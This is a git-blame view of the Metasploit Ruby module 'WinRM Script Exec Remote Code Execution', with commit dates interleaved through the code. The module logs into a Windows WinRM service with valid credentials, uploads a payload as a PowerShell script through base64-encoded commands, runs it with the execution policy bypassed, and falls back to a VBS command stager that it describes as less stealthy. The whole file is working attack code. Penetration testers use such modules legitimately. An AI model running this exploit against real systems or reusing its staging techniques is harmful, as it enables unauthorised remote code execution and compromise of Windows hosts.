Files
metasploit-gs/modules/exploits/windows/winrm/winrm_script_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

228 lines
6.9 KiB
Ruby
Raw Normal View History

2012-11-04 13:14:02 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-11-04 13:14:02 -06:00
##
2022-11-30 07:39:38 +11:00
require 'net/winrm/connection'
2012-11-04 13:14:02 -06:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-11-04 13:14:02 -06:00
Rank = ManualRanking
2013-08-30 16:28:54 -05:00
2012-11-04 13:14:02 -06:00
include Msf::Exploit::Remote::WinRM
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2013-08-30 16:28:54 -05:00
2012-11-04 13:14:02 -06:00
def initialize(info = {})
2022-11-30 07:48:30 +11:00
super(
update_info(
info,
'Name' => 'WinRM Script Exec Remote Code Execution',
'Description' => %q{
2012-11-04 13:14:02 -06:00
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
2022-11-30 07:39:38 +11:00
delivery: Powershell 2 (and above) and VBS CmdStager.
2013-08-30 16:28:54 -05:00
2022-11-30 07:39:38 +11:00
The module will check if Powershell is available, and if so uses
2014-06-28 17:40:49 -04:00
that method. Otherwise it falls back to the VBS CmdStager which is
2012-11-04 13:14:02 -06:00
less stealthy.
2022-11-30 07:48:30 +11:00
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'References' => [
2013-05-16 14:32:02 -05:00
[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
],
2022-11-30 07:48:30 +11:00
'Privileged' => true,
'DefaultOptions' => {
'WfsDelay' => 30,
2012-11-04 13:14:02 -06:00
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
2022-11-30 07:48:30 +11:00
'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64_sleep')
2012-11-04 13:14:02 -06:00
},
2022-11-30 07:48:30 +11:00
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[ 'Windows', {} ],
2012-11-04 13:14:02 -06:00
],
2022-11-30 07:48:30 +11:00
'DefaultTarget' => 0,
'DisclosureDate' => '2012-11-01',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
2013-08-30 16:28:54 -05:00
2012-11-04 13:14:02 -06:00
register_options(
[
2012-12-12 14:18:41 -06:00
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
2012-11-04 13:14:02 -06:00
], self.class
)
2014-06-28 17:40:49 -04:00
deregister_options('CMDSTAGER::FLAVOR')
2012-12-12 09:18:03 -06:00
@compat_mode = false
2012-11-04 13:14:02 -06:00
end
2013-08-30 16:28:54 -05:00
2013-02-11 20:49:55 -06:00
def exploit
2023-01-03 11:26:07 +11:00
check_winrm_parameters
2022-11-30 10:26:19 +11:00
self.conn = create_winrm_connection
2022-11-30 07:48:30 +11:00
self.shell = conn.shell(:cmd, {})
2012-11-04 13:14:02 -06:00
if powershell2?
path = upload_script
return if path.nil?
2022-11-30 07:48:30 +11:00
2012-11-04 13:14:02 -06:00
exec_script(path)
else
2022-11-30 07:48:30 +11:00
execute_cmdstager({ flavor: :vbs })
2012-11-04 13:14:02 -06:00
end
handler
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Run the WinRM command
2022-11-30 07:39:38 +11:00
def winrm_run_cmd(command)
2022-11-30 07:48:30 +11:00
shell.run(command)
2022-11-30 07:39:38 +11:00
end
2022-11-30 11:53:57 +11:00
# Run the WinRM command on a background thread
2022-11-30 07:39:38 +11:00
def winrm_run_cmd_async(command)
framework.threads.spawn("winrm_script_exec keepalive worker", false) do
begin
winrm_run_cmd(command)
ensure
self.shell.close
end
end
2022-11-30 07:39:38 +11:00
end
2022-11-30 11:53:57 +11:00
# Execute a command on the WinRM shell (called via the VBS Stager)
2022-11-30 07:48:30 +11:00
def execute_command(cmd, _opts)
2012-11-04 13:14:02 -06:00
commands = cmd.split(/&/)
commands.each do |command|
2022-11-30 07:48:30 +11:00
if command.include? 'cscript'
2022-11-30 10:26:19 +11:00
winrm_run_cmd_async(command)
2022-11-30 07:48:30 +11:00
elsif command.include? 'del %TEMP%'
2012-11-04 13:14:02 -06:00
next
else
winrm_run_cmd(command)
end
end
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Uploads a powershell script to the server
# @return [String] Path to the uploaded script
2012-11-04 13:14:02 -06:00
def upload_script
tdir = temp_dir
return if tdir.nil?
2013-08-30 16:28:54 -05:00
2022-11-30 07:48:30 +11:00
path = tdir + '\\' + ::Rex::Text.rand_text_alpha(8) + '.ps1'
print_status("Uploading powershell script to #{path} (This may take a few minutes)...")
script = Msf::Util::EXE.to_win32pe_psh(framework, payload.encoded)
2022-11-30 07:39:38 +11:00
# add a sleep to the script to give us enough time to migrate
script << "\n Start-Sleep -s 20"
2012-11-04 13:14:02 -06:00
script.each_line do |psline|
2022-11-30 07:39:38 +11:00
# build our psh command to write out our psh script, meta eh?
2012-11-04 13:14:02 -06:00
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
2022-11-30 07:48:30 +11:00
winrm_run_cmd(cmd)
2012-11-04 13:14:02 -06:00
end
return path
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Executes the PowerShell script at the given path
# @param [String] path Path to the uploaded script
2012-11-04 13:14:02 -06:00
def exec_script(path)
2022-11-30 07:48:30 +11:00
print_status('Attempting to execute script...')
2022-11-30 07:39:38 +11:00
cmd = "#{@invoke_powershell} -ExecutionPolicy bypass -File #{path}"
winrm_run_cmd_async(cmd)
2012-11-04 13:14:02 -06:00
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Create a command line to execute the provided script inline
# @return [String] Command line argument to execute the provided command in the -EncodedCommand parameter
2012-11-04 13:14:02 -06:00
def encoded_psh(script)
script = Rex::Text.encode_base64(script.encode('utf-16le')).chomp
2022-11-30 07:48:30 +11:00
return "#{@invoke_powershell} -encodedCommand #{script}"
2012-11-04 13:14:02 -06:00
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Gets the temporary directory of the remote shell
# @return [String] The temporary directory of the remote shell
2012-11-04 13:14:02 -06:00
def temp_dir
2022-11-30 07:48:30 +11:00
print_status('Grabbing %TEMP%')
cmd = 'echo %TEMP%'
2022-11-30 07:39:38 +11:00
output = winrm_run_cmd(cmd)
return output.stdout.chomp
2012-11-04 13:14:02 -06:00
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# The architecture of the remote system
def get_remote_arch
2012-11-05 10:06:57 -06:00
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
2022-11-30 07:48:30 +11:00
resp = conn.run_wql(wql)
addr_width = resp[:xml_fragment][0][:address_width]
if addr_width == '64'
return ARCH_X64
2012-11-05 10:06:57 -06:00
else
return ARCH_X86
2012-11-05 10:06:57 -06:00
end
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Verifies that the remote architecture is compatible with our payload
# @return [Boolean] Does the payload match the architecture?
# @note Sets @compat_mode to true if running x86 payload on x64 arch
2012-11-05 10:06:57 -06:00
def correct_payload_arch?
2022-11-30 11:53:57 +11:00
@target_arch = get_remote_arch
case @target_arch
when ARCH_X64
2022-11-30 07:39:38 +11:00
unless datastore['PAYLOAD'].include?(ARCH_X64)
2022-11-30 07:48:30 +11:00
print_error('You selected an x86 payload for an x64 target...trying to run in compat mode')
2012-12-12 09:18:03 -06:00
@compat_mode = true
2012-11-05 10:06:57 -06:00
return false
end
when ARCH_X86
if datastore['PAYLOAD'].include?(ARCH_X64)
2022-11-30 07:48:30 +11:00
print_error('You selected an x64 payload for an x86 target')
2012-11-05 10:06:57 -06:00
return false
end
end
return true
end
2013-08-30 16:28:54 -05:00
2022-11-30 11:53:57 +11:00
# Is PowerShell version 2 (or above) available
# @return [Boolean]
# @note Sets @invoke_powershell based on whether @compat_mode is set - to potentially force the use of x86 PowerShell while on an x64 system
2012-11-05 10:06:57 -06:00
def powershell2?
if datastore['FORCE_VBS']
2022-11-30 07:48:30 +11:00
print_status('User selected the FORCE_VBS option')
2012-11-05 10:06:57 -06:00
return false
end
2022-11-30 07:48:30 +11:00
print_status('Checking for Powershell 2.0')
output = winrm_run_cmd('powershell Get-Host')
if output.stderr.include? 'not recognized'
print_error('Powershell is not installed')
2012-11-05 10:06:57 -06:00
return false
end
2022-11-30 07:39:38 +11:00
output.stdout.each_line do |line|
2022-11-30 07:48:30 +11:00
next unless line.start_with? 'Version'
2012-11-05 10:06:57 -06:00
major_version = line.match(/\d(?=\.)/)[0]
2022-11-30 07:48:30 +11:00
if major_version == '1'
print_error('The target is running an older version of Powershell')
2012-11-05 10:06:57 -06:00
return false
end
end
2013-08-30 16:28:54 -05:00
2022-11-30 07:48:30 +11:00
return false unless correct_payload_arch? || (@target_arch == ARCH_X64)
2012-12-12 09:18:03 -06:00
if @compat_mode == true
2022-11-30 07:48:30 +11:00
@invoke_powershell = '%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
else
2022-11-30 07:48:30 +11:00
@invoke_powershell = 'powershell'
end
2013-08-30 16:28:54 -05:00
2012-12-12 14:18:41 -06:00
return true
end
2022-11-30 07:39:38 +11:00
2022-12-15 14:50:10 +11:00
# @return [WinRM::Shells::Cmd] The WinRM Shell object
2022-11-30 11:53:57 +11:00
attr_accessor :shell
2022-12-15 14:50:10 +11:00
# @return [Net::MsfWinRM::RexWinRMConnection] The WinRM connection
2022-11-30 11:53:57 +11:00
attr_accessor :conn
2012-11-04 13:14:02 -06:00
end